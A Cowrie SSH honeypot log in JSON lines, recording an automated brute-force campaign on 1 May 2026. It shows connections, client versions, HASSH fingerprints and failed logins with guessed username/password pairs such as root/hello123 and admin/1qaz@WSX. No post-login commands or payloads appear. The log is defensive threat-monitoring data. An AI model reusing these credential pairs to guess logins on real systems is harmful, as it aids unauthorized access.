{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:42.707677Z","src_ip":"176.65.139.103","session":"5079c4a76ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:42.788773Z","src_ip":"176.65.139.103","session":"5079c4a76ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:43.042320Z","src_ip":"176.65.139.103","session":"5079c4a76ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:44.148746Z","src_ip":"176.65.139.103","session":"5079c4a76ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57180,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5dbabf76cc6","protocol":"ssh","message":"New connection: 176.65.139.103:57180 (10.17.0.5:22) [session: a5dbabf76cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:49.502109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:49.506763Z","src_ip":"176.65.139.103","session":"a5dbabf76cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:49.595179Z","src_ip":"176.65.139.103","session":"a5dbabf76cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:49.845047Z","src_ip":"176.65.139.103","session":"a5dbabf76cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:50.931677Z","src_ip":"176.65.139.103","session":"a5dbabf76cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44036,"dst_ip":"10.17.0.5","dst_port":22,"session":"90dbf741c2a0","protocol":"ssh","message":"New connection: 176.65.139.103:44036 (10.17.0.5:22) [session: 90dbf741c2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:55.959646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:56.045875Z","src_ip":"176.65.139.103","session":"90dbf741c2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:56.050112Z","src_ip":"176.65.139.103","session":"90dbf741c2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:56.649423Z","src_ip":"176.65.139.103","session":"90dbf741c2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:57.743186Z","src_ip":"176.65.139.103","session":"90dbf741c2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37958,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f8fa7c8ba5","protocol":"ssh","message":"New connection: 176.65.139.103:37958 (10.17.0.5:22) [session: c0f8fa7c8ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:03.241723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:03.247445Z","src_ip":"176.65.139.103","session":"c0f8fa7c8ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:03.331302Z","src_ip":"176.65.139.103","session":"c0f8fa7c8ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:03.583007Z","src_ip":"176.65.139.103","session":"c0f8fa7c8ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:04.802292Z","src_ip":"176.65.139.103","session":"c0f8fa7c8ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37964,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ee09d8bc8f","protocol":"ssh","message":"New connection: 176.65.139.103:37964 (10.17.0.5:22) [session: 79ee09d8bc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:09.890650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:09.895667Z","src_ip":"176.65.139.103","session":"79ee09d8bc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:09.986936Z","src_ip":"176.65.139.103","session":"79ee09d8bc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:10.382430Z","src_ip":"176.65.139.103","session":"79ee09d8bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:11.759834Z","src_ip":"176.65.139.103","session":"79ee09d8bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37742,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5eb83c2cf01","protocol":"ssh","message":"New connection: 176.65.139.103:37742 (10.17.0.5:22) [session: e5eb83c2cf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:16.784669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:16.866372Z","src_ip":"176.65.139.103","session":"e5eb83c2cf01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:16.943484Z","src_ip":"176.65.139.103","session":"e5eb83c2cf01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:17.511579Z","src_ip":"176.65.139.103","session":"e5eb83c2cf01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:18.598418Z","src_ip":"176.65.139.103","session":"e5eb83c2cf01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33970,"dst_ip":"159.203.135.109","dst_port":22,"session":"1388a17f697b","protocol":"ssh","message":"New connection: 159.203.92.129:33970 (159.203.135.109:22) [session: 1388a17f697b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:18.941733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:18.951265Z","src_ip":"159.203.92.129","session":"1388a17f697b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:18.956240Z","src_ip":"159.203.92.129","session":"1388a17f697b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123@qwe","message":"login attempt [ansible/123@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:18.967735Z","src_ip":"159.203.92.129","session":"1388a17f697b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:19.975454Z","src_ip":"159.203.92.129","session":"1388a17f697b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37210,"dst_ip":"10.17.0.5","dst_port":22,"session":"408f5c8a6b82","protocol":"ssh","message":"New connection: 176.65.139.103:37210 (10.17.0.5:22) [session: 408f5c8a6b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:23.726601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:23.750300Z","src_ip":"176.65.139.103","session":"408f5c8a6b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:23.813725Z","src_ip":"176.65.139.103","session":"408f5c8a6b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:24.189111Z","src_ip":"176.65.139.103","session":"408f5c8a6b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:25.402808Z","src_ip":"176.65.139.103","session":"408f5c8a6b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37236,"dst_ip":"10.17.0.5","dst_port":22,"session":"d242123070be","protocol":"ssh","message":"New connection: 176.65.139.103:37236 (10.17.0.5:22) [session: d242123070be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:30.340975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:30.345962Z","src_ip":"176.65.139.103","session":"d242123070be","protocol":"ssh"}
